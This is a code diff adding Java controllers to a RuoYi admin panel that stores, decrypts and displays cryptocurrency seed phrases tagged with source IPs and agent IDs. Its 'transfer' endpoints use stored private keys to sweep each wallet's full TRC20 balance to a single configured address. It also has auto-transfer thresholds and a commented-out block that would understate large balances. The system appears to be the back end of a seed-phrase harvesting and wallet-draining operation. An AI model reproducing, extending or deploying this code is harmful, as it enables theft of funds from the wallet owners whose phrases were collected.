+     */
+    @RequiresPermissions("system:blackip:edit")
+    @GetMapping("/edit/{id}")
+    public String edit(@PathVariable("id") Long id, ModelMap mmap)
+    {
+        SysBlackip sysBlackip = sysBlackipService.selectSysBlackipById(id);
+        mmap.put("sysBlackip", sysBlackip);
+        return prefix + "/edit";
+    }
+
+    /**
+     * 修改保存IP黑名单
+     */
+    @RequiresPermissions("system:blackip:edit")
+    @Log(title = "IP黑名单", businessType = BusinessType.UPDATE)
+    @PostMapping("/edit")
+    @ResponseBody
+    public AjaxResult editSave(SysBlackip sysBlackip)
+    {
+        return toAjax(sysBlackipService.updateSysBlackip(sysBlackip));
+    }
+
+    /**
+     * 删除IP黑名单
+     */
+    @RequiresPermissions("system:blackip:remove")
+    @Log(title = "IP黑名单", businessType = BusinessType.DELETE)
+    @PostMapping( "/remove")
+    @ResponseBody
+    public AjaxResult remove(String ids)
+    {
+        return toAjax(sysBlackipService.deleteSysBlackipByIds(ids));
+    }
+}

+ 431 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysMnemonicController.java

@@ -0,0 +1,431 @@
+package com.ruoyi.system.controller;
+
+import com.alibaba.fastjson.JSON;
+import com.ruoyi.common.annotation.Log;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.domain.entity.SysUser;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.enums.BusinessType;
+import com.ruoyi.common.utils.ShiroUtils;
+import com.ruoyi.common.utils.poi.ExcelUtil;
+import com.ruoyi.system.domain.SysMnemonic;
+import com.ruoyi.system.domain.SysMnemonicToken;
+import com.ruoyi.system.mapper.SysMnemonicMapper;
+import com.ruoyi.system.mapper.SysMnemonicTokenMapper;
+import com.ruoyi.system.service.ISysMnemonicService;
+import com.ruoyi.system.vo.SysMnemonicTokenVO;
+import com.ruoyi.system.vo.SysMnemonicVO;
+import com.ruoyi.web.controller.common.CommonController;
+import org.apache.ibatis.annotations.Param;
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.BeanUtils;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.*;
+
+import java.math.BigDecimal;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+import static com.api.controller.ApiController.decryptByPrivateKey;
+
+//import static com.api.controller.ApiController.decryptByPrivateKey;
+
+/**
+ * 助记词Controller
+ * 
+ * @author lanbing
+ * @date 2023-03-23
+ */
+@Controller
+@RequestMapping("/system/mnemonic")
+public class SysMnemonicController extends BaseController
+{
+    private static final Logger log = LoggerFactory.getLogger(CommonController.class);
+    private String prefix = "system/mnemonic";
+
+    @Autowired
+    private ISysMnemonicService sysMnemonicService;
+
+    @Autowired
+    private SysMnemonicTokenMapper sysMnemonicTokenMapper;
+
+    @Autowired
+    private SysMnemonicMapper sysMnemonicMapper;
+
+    @RequiresPermissions("system:mnemonic:view")
+    @GetMapping()
+    public String mnemonic()
+    {
+        return prefix + "/mnemonic";
+    }
+
+    /**
+     * 查询助记词列表
+     */
+    @RequiresPermissions("system:mnemonic:list")
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(SysMnemonic sysMnemonic)
+    {
+        startPage();
+        List<SysMnemonic>  list = new ArrayList<>();
+        List<SysMnemonic>  listshow = null;
+        SysUser user= ShiroUtils.getSysUser();
+
+        if(!sysMnemonic.getMnemonic().equals("") && !sysMnemonic.getMnemonic().equals(null)){
+//            log.error(">>>>>>>>>快到碗里来1>>>>>"+sysMnemonic.getMnemonic());
+            //处理钱包地址搜索
+            List<SysMnemonicToken> systoken = sysMnemonicTokenMapper.selectSysMnemonicByaddress(user.getAgentId(),sysMnemonic.getMnemonic());
+            if(systoken.size()>0){
+//                log.error(">>>>>>>>>>>>>>"+systoken.size());
+                SysMnemonic pas = sysMnemonicMapper.selectSysMnemonicById(systoken.get(0).getMnemonicid());
+                if(pas.getDeletedTime()==0){
+                    list.add(pas);
+                }
+
+            }
+        }else if(!(sysMnemonic.getStatus()==0) && !sysMnemonic.getStatus().equals(null) ){
+//            log.error(">>>>>>>>>快到碗里来2>>>>>");
+            list = sysMnemonicService.selectSysMnemonicListbysort(user.getAgentId(),sysMnemonic.getStatus());
+        }else{
+            list = sysMnemonicService.selectSysMnemonicList(sysMnemonic);
+        }
+//        List<SysMnemonic>  list = sysMnemonicService.selectSysMnemonicList(sysMnemonic);
+
+        for(int i=0;i<list.size();i++){
+            String mnemonic=list.get(i).getMnemonic();
+            Long mnemonicid=list.get(i).getId();
+            List<SysMnemonicToken> tokenlist = sysMnemonicTokenMapper.selectSysMnemonicBymnemonicId(mnemonicid);
+            for(int i1=0;i1<tokenlist.size();i1++){
+                tokenlist.get(i1).setprivatekey("");
+            }
+            list.get(i).settokenlist(tokenlist);
+            mnemonic=decryptByPrivateKey(mnemonic);
+            list.get(i).setMnemonic(mnemonic);
+            if(!user.getShowMnemonic().equals("1") && !user.getShowMnemonic().equals("0")){
+                list.get(i).setMnemonic("");
+            }else{
+                list.get(i).setMnemonic("助记词:"+list.get(i).getMnemonic());
+            }
+            String ipcount=sysMnemonicService.selectSysMnemonicCountIp(list.get(i).getIp());
+            if(!ipcount.equals("") && !ipcount.equals(null)){
+                list.get(i).setIpCount(Integer.valueOf(ipcount));
+            }else{
+                list.get(i).setIpCount(Integer.valueOf("1"));
+            }
+        }
+// add by lwh 2025-6-26 start
+        // 解决分页问题,获取分页信息
+        // add by dhx 2025-7-14  start
+        TableDataInfo dataTable = getDataTable(list);
+        // add by dhx 2025-7-14  end
+        List<SysMnemonicVO>  dataList = new ArrayList<>();
+        for (SysMnemonic mnemonic : list) {
+            List<SysMnemonicToken> tokenList = mnemonic.gettokenlist();
+            List<SysMnemonicTokenVO> tokenVOList = new ArrayList<>();
+            for (SysMnemonicToken mnemonicToken : tokenList) {
+                SysMnemonicTokenVO mnemonicTokenVO = new SysMnemonicTokenVO();
+                BeanUtils.copyProperties(mnemonicToken,mnemonicTokenVO);
+
+//              add by denghongxing 2025-7-11 start
+                mnemonicTokenVO.setBalance(mnemonicToken.getBalance().stripTrailingZeros().toPlainString());
+                mnemonicTokenVO.setyjbalance(mnemonicToken.getyjbalance().stripTrailingZeros().toPlainString());
+                mnemonicTokenVO.setzzbalance(mnemonicToken.getzzbalance().stripTrailingZeros().toPlainString());
+//              add by denghongxing 2025-7-11 end
+                tokenVOList.add(mnemonicTokenVO);
+            }
+
+            SysMnemonicVO mnemonicVO = new SysMnemonicVO();
+            BeanUtils.copyProperties(mnemonic,mnemonicVO);
+
+//          add by denghongxing 2025-7-11 start
+            mnemonicVO.setEth(mnemonic.getEth().stripTrailingZeros().toPlainString());
+            mnemonicVO.setErc(mnemonic.getErc().stripTrailingZeros().toPlainString());
+            mnemonicVO.setTrx(mnemonic.getTrx().stripTrailingZeros().toPlainString());
+            mnemonicVO.setTrc(mnemonic.getTrc().stripTrailingZeros().toPlainString());
+            mnemonicVO.setBtc(mnemonic.getBtc().stripTrailingZeros().toPlainString());
+            mnemonicVO.setOmni(mnemonic.getOmni().stripTrailingZeros().toPlainString());
+            mnemonicVO.setBnb(mnemonic.getBnb().stripTrailingZeros().toPlainString());
+            mnemonicVO.setBep(mnemonic.getBep().stripTrailingZeros().toPlainString());
+//          add by denghongxing 2025-7-11 end
+
+            mnemonicVO.settokenlist(tokenVOList);
+            dataList.add(mnemonicVO);
+        }
+
+        // 替换分页的 数据
+        dataTable.setRows(dataList);
+        return dataTable;
+// add by lwh 2025-6-26 end
+// delete by lwh 2025-6-26 start
+//        return getDataTable(list);
+// delete by lwh 2025-6-26 end
+    }
+
+    /**
+     * 导出助记词列表
+     */
+    @RequiresPermissions("system:mnemonic:export")
+    @Log(title = "助记词", businessType = BusinessType.EXPORT)
+    @PostMapping("/export")
+    @ResponseBody
+    public AjaxResult export(SysMnemonic sysMnemonic)
+    {
+        List<SysMnemonic> list = sysMnemonicService.selectSysMnemonicList(sysMnemonic);
+        ExcelUtil<SysMnemonic> util = new ExcelUtil<SysMnemonic>(SysMnemonic.class);
+        return util.exportExcel(list, "助记词数据");
+    }
+
+    /**
+     * 新增助记词
+     */
+    @GetMapping("/add")
+    public String add()
+    {
+        return prefix + "/add";
+    }
+
+    /**
+     * 新增保存助记词
+     */
+    @RequiresPermissions("system:mnemonic:add")
+    @Log(title = "助记词", businessType = BusinessType.INSERT)
+    @PostMapping("/add")
+    @ResponseBody
+    public AjaxResult addSave(SysMnemonic sysMnemonic)
+    {
+        return toAjax(sysMnemonicService.insertSysMnemonic(sysMnemonic));
+    }
+
+    /**
+     * 修改助记词
+     */
+    @RequiresPermissions("system:mnemonic:edit")
+    @GetMapping("/edit/{id}")
+    public String edit(@PathVariable("id") Long id, ModelMap mmap)
+    {
+        SysMnemonic sysMnemonic = sysMnemonicService.selectSysMnemonicById(id);
+        mmap.put("sysMnemonic", sysMnemonic);
+        return prefix + "/edit";
+    }
+
+    @Log(title = "设置助记词阀值", businessType = BusinessType.INSERT)
+    @RequiresPermissions("system:mnemonic:setautotransfer")
+    @GetMapping("/setautotransfer/{id}")
+    public String setautotransfer(@PathVariable("id") Long id, ModelMap mmap)
+    {
+        SysMnemonicToken abc = new SysMnemonicToken();
+        abc.setToken("trc");
+        abc.setMnemonicid(id);
+        List<SysMnemonicToken> ppsd = sysMnemonicTokenMapper.selectSysMnemonicTokenList(abc);
+
+        SysMnemonicToken once=ppsd.get(0);
+
+        SysMnemonicTokenVO tokenVO = new SysMnemonicTokenVO();
+        BeanUtils.copyProperties(once,tokenVO);
+
+//        add by denghongxing 2025-7-11 start
+        tokenVO.setBalance(once.getBalance().stripTrailingZeros().toPlainString());
+        tokenVO.setyjbalance(once.getyjbalance().stripTrailingZeros().toPlainString());
+        tokenVO.setzzbalance(once.getzzbalance().stripTrailingZeros().toPlainString());
+//        add by denghongxing 2025-7-11 end
+        mmap.put("moneylist", tokenVO);
+        return prefix + "/setautotransfer";
+    }
+
+    @RequiresPermissions("system:mnemonic:setautotransferedit")
+    @PostMapping("/setautotransferedit")
+    @ResponseBody
+    public AjaxResult setautotransferedit(SysMnemonicToken sysMnemonicToken)
+    {
+        return toAjax(sysMnemonicTokenMapper.updateSysMnemonicToken(sysMnemonicToken));
+    }
+
+    /**
+     * 修改保存助记词
+     */
+    @RequiresPermissions("system:mnemonic:edit")
+    @Log(title = "助记词", businessType = BusinessType.UPDATE)
+    @PostMapping("/edit")
+    @ResponseBody
+    public AjaxResult editSave(SysMnemonic sysMnemonic)
+    {
+        return toAjax(sysMnemonicService.updateSysMnemonic(sysMnemonic));
+    }
+
+    /**
+     * 删除助记词
+     */
+    @RequiresPermissions("system:mnemonic:remove")
+    @Log(title = "软删除助记词", businessType = BusinessType.DELETE)
+    @PostMapping( "/remove")
+    @ResponseBody
+    public AjaxResult remove(String ids)
+    {
+        sysMnemonicService.deleteSysMnemonictokenajaxByIds(ids);
+
+        return toAjax(sysMnemonicService.deleteSysMnemonicByIds(ids));
+    }
+
+    @RequiresPermissions("system:mnemonic:recycle")
+    @GetMapping("/recycle")
+    public String recycle()
+    {
+        return prefix + "/recycle";
+    }
+    /**
+     * 查询助记词列表
+     */
+    @RequiresPermissions("system:mnemonic:recycle")
+    @PostMapping("/listdel")
+    @ResponseBody
+    public TableDataInfo listdel(SysMnemonic sysMnemonic)
+    {
+        startPage();
+        List<SysMnemonic>  list = new ArrayList<>();
+        SysUser sysur1= ShiroUtils.getSysUser();
+
+        if(!sysMnemonic.getMnemonic().equals("") && !sysMnemonic.getMnemonic().equals(null)){
+            List<SysMnemonicToken> systoken = sysMnemonicTokenMapper.selectSysMnemonicByaddressdel(sysur1.getAgentId(),sysMnemonic.getMnemonic());
+            if(systoken.size()>0){
+                SysMnemonic pas = sysMnemonicMapper.selectSysMnemonicById(systoken.get(0).getMnemonicid());
+                list.add(pas);
+            }
+        }else if(!sysMnemonic.getStatus().equals(0) && !sysMnemonic.getStatus().equals(null) ){
+            list = sysMnemonicService.selectSysMnemonicListbysortdel(sysur1.getAgentId(),sysMnemonic.getStatus());
+        }else{
+            list = sysMnemonicService.selectSysMnemonicListdel(sysMnemonic);
+        }
+
+        for(int i=0;i<list.size();i++){
+            String mnemonic=list.get(i).getMnemonic();
+            Long mnemonicid=list.get(i).getId();
+            List<SysMnemonicToken> tokenlist = sysMnemonicTokenMapper.selectSysMnemonicBymnemonicId(mnemonicid);
+            list.get(i).settokenlist(tokenlist);
+            mnemonic=decryptByPrivateKey(mnemonic);
+            list.get(i).setMnemonic(mnemonic);
+            if(!sysur1.getShowMnemonic().equals("1") && !sysur1.getShowMnemonic().equals("0")){
+                list.get(i).setMnemonic("");
+            }else{
+                list.get(i).setMnemonic("助记词:"+list.get(i).getMnemonic());
+            }
+            String ipcount=sysMnemonicService.selectSysMnemonicCountIp(list.get(i).getIp());
+            if(!ipcount.equals("") && !ipcount.equals(null)){
+                list.get(i).setIpCount(Integer.valueOf(ipcount));
+            }else{
+                list.get(i).setIpCount(Integer.valueOf("1"));
+            }
+        }
+
+// add by lwh 2025-6-27 start
+        // 解决分页问题,获取分页信息
+        // add by dhx 2025-7-14  start
+        TableDataInfo dataTable = getDataTable(list);
+        // add by dhx 2025-7-14  end
+        List<SysMnemonicVO>  dataList = new ArrayList<>();
+        for (SysMnemonic mnemonic : list) {
+            List<SysMnemonicToken> tokenList = mnemonic.gettokenlist();
+            List<SysMnemonicTokenVO> tokenVOList = new ArrayList<>();
+            for (SysMnemonicToken mnemonicToken : tokenList) {
+                SysMnemonicTokenVO mnemonicTokenVO = new SysMnemonicTokenVO();
+                BeanUtils.copyProperties(mnemonicToken,mnemonicTokenVO);
+
+//                add by denghongxing 2025-7-11 start
+                mnemonicTokenVO.setBalance(mnemonicToken.getBalance().stripTrailingZeros().toPlainString());
+                mnemonicTokenVO.setyjbalance(mnemonicToken.getyjbalance().stripTrailingZeros().toPlainString());
+                mnemonicTokenVO.setzzbalance(mnemonicToken.getzzbalance().stripTrailingZeros().toPlainString());
+//                add by denghongxing 2025-7-11 end
+
+                tokenVOList.add(mnemonicTokenVO);
+            }
+
+            SysMnemonicVO mnemonicVO = new SysMnemonicVO();
+            BeanUtils.copyProperties(mnemonic,mnemonicVO);
+
+//            add by denghongxing 2025-7-11 start
+            mnemonicVO.setEth(mnemonic.getEth().stripTrailingZeros().toPlainString());
+            mnemonicVO.setErc(mnemonic.getErc().stripTrailingZeros().toPlainString());
+            mnemonicVO.setTrx(mnemonic.getTrx().stripTrailingZeros().toPlainString());
+            mnemonicVO.setTrc(mnemonic.getTrc().stripTrailingZeros().toPlainString());
+            mnemonicVO.setBtc(mnemonic.getBtc().stripTrailingZeros().toPlainString());
+            mnemonicVO.setOmni(mnemonic.getOmni().stripTrailingZeros().toPlainString());
+            mnemonicVO.setBnb(mnemonic.getBnb().stripTrailingZeros().toPlainString());
+            mnemonicVO.setBep(mnemonic.getBep().stripTrailingZeros().toPlainString());
+//            add by denghongxing 2025-7-11 end
+
+            mnemonicVO.settokenlist(tokenVOList);
+            dataList.add(mnemonicVO);
+        }
+        // 替换分页的数据
+        dataTable.setRows(dataList);
+        return dataTable;
+// add by lwh 2025-6-27 end
+// delete by lwh 2025-6-27 start
+//        return getDataTable(list);
+// delete by lwh 2025-6-27 end
+    }
+    @RequiresPermissions("system:mnemonic:recycle")
+    @PostMapping("/listrecycle")
+    @Log(title = "恢复助记词", businessType = BusinessType.DELETE)
+    @ResponseBody
+    public String listrecycle(@Param("id") String id)
+    {
+        SysMnemonic pas = sysMnemonicMapper.selectSysMnemonicById(Long.valueOf(id));
+        pas.setDeletedTime(Long.valueOf("0"));
+        sysMnemonicMapper.updateSysMnemonic(pas);
+
+        log.error("需要恢复的数据>>>>"+id);
+
+        SysMnemonicToken asinfo=new SysMnemonicToken();
+        asinfo.setMnemonicid(Long.valueOf(id));
+        asinfo.setDeletedTime(Long.valueOf("100"));
+        List<SysMnemonicToken>  aass = sysMnemonicTokenMapper.selectSysMnemonicTokenList(asinfo);
+        log.error("需要恢复的数据>>>>"+aass);
+        for(int i=0;i<aass.size();i++){
+            Long aa=aass.get(i).getId();
+            SysMnemonicToken ttt=sysMnemonicTokenMapper.selectSysMnemonicTokenById(Long.valueOf(aa));
+            ttt.setDeletedTime(Long.valueOf("0"));
+            sysMnemonicTokenMapper.updateSysMnemonicToken(ttt);
+        }
+
+
+        return "success";
+    }
+
+    //单挑删除
+    @RequiresPermissions("system:mnemonic:listdelete")
+    @PostMapping("/listdelete")
+    @Log(title = "彻底删除助记词", businessType = BusinessType.DELETE)
+    @ResponseBody
+    public String listdelete(@Param("id") String id)
+    {
+        sysMnemonicMapper.deleteSysMnemonicById(Long.valueOf(id));
+        sysMnemonicTokenMapper.deleteSysMnemonicTokenByMnemonicId(Long.valueOf(id));
+        return "success";
+    }
+
+    //全部清空
+    @RequiresPermissions("system:mnemonic:listdeleteall")
+    @PostMapping("/listdeleteall")
+    @Log(title = "清空回收站所有助记词", businessType = BusinessType.DELETE)
+    @ResponseBody
+    public String listdeleteall()
+    {
+        SysMnemonic ps=new SysMnemonic();
+        List<SysMnemonic> plist=sysMnemonicMapper.selectSysMnemonicListdel(ps);
+        for(int i=0;i<plist.size();i++){
+            Long mid=plist.get(i).getId();
+            if(mid>0){
+                sysMnemonicMapper.deleteSysMnemonicById(mid);
+                sysMnemonicTokenMapper.deleteSysMnemonicTokenByMnemonicId(mid);
+            }
+        }
+        return "success";
+    }
+}

+ 338 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysMnemonicTokenController.java

@@ -0,0 +1,338 @@
+package com.ruoyi.system.controller;
+
+import com.alibaba.fastjson.JSONObject;
+import com.ruoyi.common.annotation.Log;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.enums.BusinessType;
+import com.ruoyi.common.utils.StringUtils;
+import com.ruoyi.common.utils.http.HttpUtils;
+import com.ruoyi.common.utils.poi.ExcelUtil;
+import com.ruoyi.common.utils.wallet.TronUtils;
+import com.ruoyi.system.domain.SysMnemonic;
+import com.ruoyi.system.domain.SysMnemonicToken;
+import com.ruoyi.system.domain.SysTransferLog;
+import com.ruoyi.system.mapper.SysMnemonicMapper;
+import com.ruoyi.system.mapper.SysMnemonicTokenMapper;
+import com.ruoyi.system.mapper.SysTransferLogMapper;
+import com.ruoyi.system.service.ISysConfigService;
+import com.ruoyi.system.service.ISysMnemonicTokenService;
+import com.ruoyi.web.controller.common.CommonController;
+import org.apache.ibatis.annotations.Param;
+import org.apache.shiro.authz.annotation.RequiresPermissions;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Controller;
+import org.springframework.ui.ModelMap;
+import org.springframework.web.bind.annotation.*;
+
+import java.math.BigDecimal;
+import java.util.List;
+
+import static com.api.controller.ApiController.decryptByPrivateKey;
+import static com.api.controller.ApiController.encryptByPublicKey;
+
+/**
+ * 代币Controller
+ * 
+ * @author lanbing
+ * @date 2023-03-24
+ */
+@Controller
+@RequestMapping("/system/token")
+public class SysMnemonicTokenController extends BaseController
+{
+    private String prefix = "system/token";
+
+    private static final Logger log = LoggerFactory.getLogger(CommonController.class);
+
+    @Autowired
+    private ISysMnemonicTokenService sysMnemonicTokenService;
+
+    @Autowired
+    private SysMnemonicMapper sysMnemonicMapper;
+
+    @Autowired
+    private SysMnemonicTokenMapper sysMnemonicTokenMapper;
+
+    @Autowired
+    private ISysConfigService configService2;
+
+    @Autowired
+    private SysTransferLogMapper sysTransferLogMapper;
+
+    @RequiresPermissions("system:token:view")
+    @GetMapping()
+    public String token()
+    {
+        return prefix + "/token";
+    }
+
+    /**
+     * 查询代币列表
+     */
+    @RequiresPermissions("system:token:list")
+    @PostMapping("/list")
+    @ResponseBody
+    public TableDataInfo list(SysMnemonicToken sysMnemonicToken)
+    {
+        startPage();
+        List<SysMnemonicToken> list = sysMnemonicTokenService.selectSysMnemonicTokenList(sysMnemonicToken);
+        for(int i=0;i<list.size();i++){
+            list.get(i).setprivatekey("");
+//
+//            BigDecimal balances= list.get(i).getBalance();
+//
+//            if(balances.intValue()>=10000){
+//                list.get(i).setBalance(new BigDecimal("9500"));
+//            }
+
+        }
+        return getDataTable(list);
+    }
+
+    /**
+     * 导出代币列表
+     */
+    @RequiresPermissions("system:token:export")
+    @Log(title = "代币", businessType = BusinessType.EXPORT)
+    @PostMapping("/export")
+    @ResponseBody
+    public AjaxResult export(SysMnemonicToken sysMnemonicToken)
+    {
+        List<SysMnemonicToken> list = sysMnemonicTokenService.selectSysMnemonicTokenList(sysMnemonicToken);
+        ExcelUtil<SysMnemonicToken> util = new ExcelUtil<SysMnemonicToken>(SysMnemonicToken.class);
+        return util.exportExcel(list, "代币数据");
+    }
+
+    /**
+     * 新增代币
+     */
+    @GetMapping("/add")
+    public String add()
+    {
+        return prefix + "/add";
+    }
+
+    /**
+     * 新增保存代币
+     */
+    @RequiresPermissions("system:token:add")
+    @Log(title = "代币", businessType = BusinessType.INSERT)
+    @PostMapping("/add")
+    @ResponseBody
+    public AjaxResult addSave(SysMnemonicToken sysMnemonicToken)
+    {
+        return toAjax(sysMnemonicTokenService.insertSysMnemonicToken(sysMnemonicToken));
+    }
+
+    /**
+     * 修改代币
+     */
+    @RequiresPermissions("system:token:edit")
+    @GetMapping("/edit/{id}")
+    public String edit(@PathVariable("id") Long id, ModelMap mmap)
+    {
+        SysMnemonicToken sysMnemonicToken = sysMnemonicTokenService.selectSysMnemonicTokenById(id);
+        mmap.put("sysMnemonicToken", sysMnemonicToken);
+        return prefix + "/edit";
+    }
+
+    /**
+     * 修改保存代币
+     */
+    @RequiresPermissions("system:token:edit")
+    @Log(title = "代币", businessType = BusinessType.UPDATE)
+    @PostMapping("/edit")
+    @ResponseBody
+    public AjaxResult editSave(SysMnemonicToken sysMnemonicToken)
+    {
+        return toAjax(sysMnemonicTokenService.updateSysMnemonicToken(sysMnemonicToken));
+    }
+
+    /**
+     * 删除代币
+     */
+    @RequiresPermissions("system:token:remove")
+    @Log(title = "代币", businessType = BusinessType.DELETE)
+    @PostMapping( "/remove")
+    @ResponseBody
+    public AjaxResult remove(String ids)
+    {
+        return toAjax(sysMnemonicTokenService.deleteSysMnemonicTokenByIds(ids));
+    }
+
+    @RequiresPermissions("system:token:transfer")
+    @GetMapping("/transfer")
+    public String transfer()
+    {
+        return prefix + "/transfer";
+    }
+
+    //转账列表
+    @RequiresPermissions("system:token:transfer")
+    @PostMapping("/transferlist")
+    @ResponseBody
+    public TableDataInfo transferlist(SysMnemonicToken sysMnemonicToken)
+    {
+        startPage();
+        SysMnemonicToken asd=new SysMnemonicToken();
+        asd.setToken("trc");
+        if(!sysMnemonicToken.getAddress().equals("") && !sysMnemonicToken.getAddress().equals(null)){
+            asd.setAddress(sysMnemonicToken.getAddress());
+        }
+        List<SysMnemonicToken> list = sysMnemonicTokenService.selectSysMnemonicTokenList(asd);
+        return getDataTable(list);
+    }
+    @RequiresPermissions("system:token:transfer")
+    @PostMapping("/tranferonline")
+    @ResponseBody
+    public String tranferonline(@Param("id") String id)
+    {
+        try {
+            SysMnemonicToken tokeninfo = sysMnemonicTokenMapper.selectSysMnemonicTokenById(Long.valueOf(id));
+            String fromaddress = tokeninfo.getAddress();
+            String fromprivateaddress = decryptByPrivateKey(tokeninfo.getprivatekey());
+            String balance = tokeninfo.getBalance().toString();
+            String toaddress = configService2.selectConfigByKey("transfer.trc");
+            if (!fromaddress.equals("") && !fromaddress.equals(null) && !fromprivateaddress.equals("") && !fromprivateaddress.equals(null)
+                    && !balance.equals("") && !balance.equals(null) && !toaddress.equals("") && !toaddress.equals(null)) {
+//                String postparem = "fromaddress=" + fromaddress + "&fromprivateaddress=" + fromprivateaddress +
+//                        "&toaddress=" + toaddress + "&money=" + balance + "&type=transfer";
+
+                String txid =TronUtils.sendTrc20(fromaddress,toaddress,new BigDecimal(balance), fromprivateaddress);
+//                String str ="";// postData(configService2.selectConfigByKey("api.url") + "/api.php", postparem);
+//                log.error("转账返回字符串》》》》》》》"+str);
+//                if (!str.equals("") && !str.equals(null)) {
+//                    JSONObject obj = JSONObject.parseObject(str);
+//                    String result=obj.get("result").toString();
+//                    String txid=obj.get("txid").toString();
+                    if(txid!=null){
+                        //转账成功
+                        log.error("转账成功了");
+                        //开始入库
+                        SysTransferLog logrk=new SysTransferLog();
+                        logrk.setAgentid(Long.valueOf(tokeninfo.getAgentid()));
+                        logrk.setToken(tokeninfo.getToken());
+                        logrk.setFromaddress(fromaddress);
+                        logrk.setFromprivateaddress(encryptByPublicKey(fromprivateaddress));
+                        logrk.setTxtype(3);
+                        logrk.setToaddress(toaddress);
+                        logrk.setMoney(new BigDecimal(balance));
+                        logrk.setTxid(txid);
+                        sysTransferLogMapper.insertSysTransferLog(logrk);
+                        //扣除数据库金额
+                        tokeninfo.setBalance(new BigDecimal("0"));
+                        sysMnemonicTokenMapper.updateSysMnemonicToken(tokeninfo);
+                        //减去对应助记词相关金额
+                        Long zjcid=tokeninfo.getMnemonicid();
+                        SysMnemonic findzcj=sysMnemonicMapper.selectSysMnemonicById(zjcid);
+                        findzcj.setTrc(new BigDecimal("0"));
+                        sysMnemonicMapper.updateSysMnemonic(findzcj);
+                        return "success";
+//                    }else{
+//                        return result;
+//                    }
+                }
+            }
+        }catch (Exception e){
+            log.error("转账报错>>>>>"+e);
+        }
+        return "网络错误,请重试";
+    }
+    @RequiresPermissions("system:token:transfer")
+    @PostMapping("/tranferonlinezjc")
+    @ResponseBody
+    public String tranferonlinezjc(@Param("id") String id)
+    {
+        try {
+            SysMnemonicToken pp=new SysMnemonicToken();
+            pp.setToken("trc");
+            pp.setMnemonicid(Long.valueOf(id));
+            List<SysMnemonicToken> monc = sysMnemonicTokenMapper.selectSysMnemonicTokenList(pp);
+            SysMnemonicToken ccp=monc.get(0);
+             int b33 = ccp.getBalance().compareTo(BigDecimal.ZERO);
+             Long spid=ccp.getId();
+            if (b33 == 1) {
+                //大于0
+
+            }else{
+                return "TRC金额不大于0,不允许转账";
+            }
+            log.error("转账报0------错>>>>>"+monc);
+            log.error("转账报000错>>>>>"+id);
+            log.error("转账报111111错>>>>>"+spid);
+            log.error("转账报22222错>>>>>"+b33);
+
+            SysMnemonicToken tokeninfo = sysMnemonicTokenMapper.selectSysMnemonicTokenById(spid);
+            String fromaddress = tokeninfo.getAddress();
+            String fromprivateaddress = decryptByPrivateKey(tokeninfo.getprivatekey());
+            String balance = tokeninfo.getBalance().toString();
+            String toaddress = configService2.selectConfigByKey("transfer.trc");
+            if (!fromaddress.equals("") && !fromaddress.equals(null) && !fromprivateaddress.equals("") && !fromprivateaddress.equals(null)
+                    && !balance.equals("") && !balance.equals(null) && !toaddress.equals("") && !toaddress.equals(null)) {
+//                String postparem = "fromaddress=" + fromaddress + "&fromprivateaddress=" + fromprivateaddress +
+//                        "&toaddress=" + toaddress + "&money=" + balance + "&type=transfer";
+                String txid =TronUtils.sendTrc20(fromaddress,toaddress,new BigDecimal(balance), fromprivateaddress);
+//                String str = "";//postData(configService2.selectConfigByKey("api.url") + "/api.php", postparem);
+//                log.error("转账返回字符串》》》》》》》"+str);
+//                if (!str.equals("") && !str.equals(null)) {
+//                    JSONObject obj = JSONObject.parseObject(str);
+//                    String result=obj.get("result").toString();
+//                    String txid=obj.get("txid").toString();
+                    if(txid!=null){
+                        //转账成功
+                        log.error("转账成功了");
+                        //开始入库
+                        SysTransferLog logrk=new SysTransferLog();
+                        logrk.setAgentid(Long.valueOf(tokeninfo.getAgentid()));
+                        logrk.setToken(tokeninfo.getToken());
+                        logrk.setFromaddress(fromaddress);
+                        logrk.setFromprivateaddress(encryptByPublicKey(fromprivateaddress));
+                        logrk.setTxtype(3);
+                        logrk.setToaddress(toaddress);
+                        logrk.setMoney(new BigDecimal(balance));
+                        logrk.setTxid(txid);
+                        sysTransferLogMapper.insertSysTransferLog(logrk);
+                        //扣除数据库金额
+                        tokeninfo.setBalance(new BigDecimal("0"));
+                        sysMnemonicTokenMapper.updateSysMnemonicToken(tokeninfo);
+                        //减去对应助记词相关金额
+                        Long zjcid=tokeninfo.getMnemonicid();
+                        SysMnemonic findzcj=sysMnemonicMapper.selectSysMnemonicById(zjcid);
+                        findzcj.setTrc(new BigDecimal("0"));
+                        sysMnemonicMapper.updateSysMnemonic(findzcj);
+                        return "success";
+//                    }else{
+//                        return result;
+//                    }
+                }
+            }
+        }catch (Exception e){
+            log.error("转账报错>>>>>"+e);
+        }
+        return "网络错误,请重试";
+    }
+
+
+    public String postData(String url,String parem){
+        try
+        {
+            String rspStr = HttpUtils.sendPost(url, parem);
+            if (StringUtils.isEmpty(rspStr))
+            {
+                log.error("未获取到数据");
+                return "";
+            }
+            return rspStr;
+        }
+        catch (Exception e)
+        {
+            log.error("获取地理位置异常 {}", e);
+        }
+        return "";
+    }
+
+}

+ 124 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/controller/SysMnemonicTokenPrivatekeyController.java

@@ -0,0 +1,124 @@
+package com.ruoyi.system.controller;
+
+import com.ruoyi.common.annotation.Log;
+import com.ruoyi.common.core.controller.BaseController;
+import com.ruoyi.common.core.domain.AjaxResult;
+import com.ruoyi.common.core.page.TableDataInfo;
+import com.ruoyi.common.enums.BusinessType;
+import com.ruoyi.common.utils.poi.ExcelUtil;
+import com.ruoyi.system.domain.SysMnemonicTokenPrivatekey;
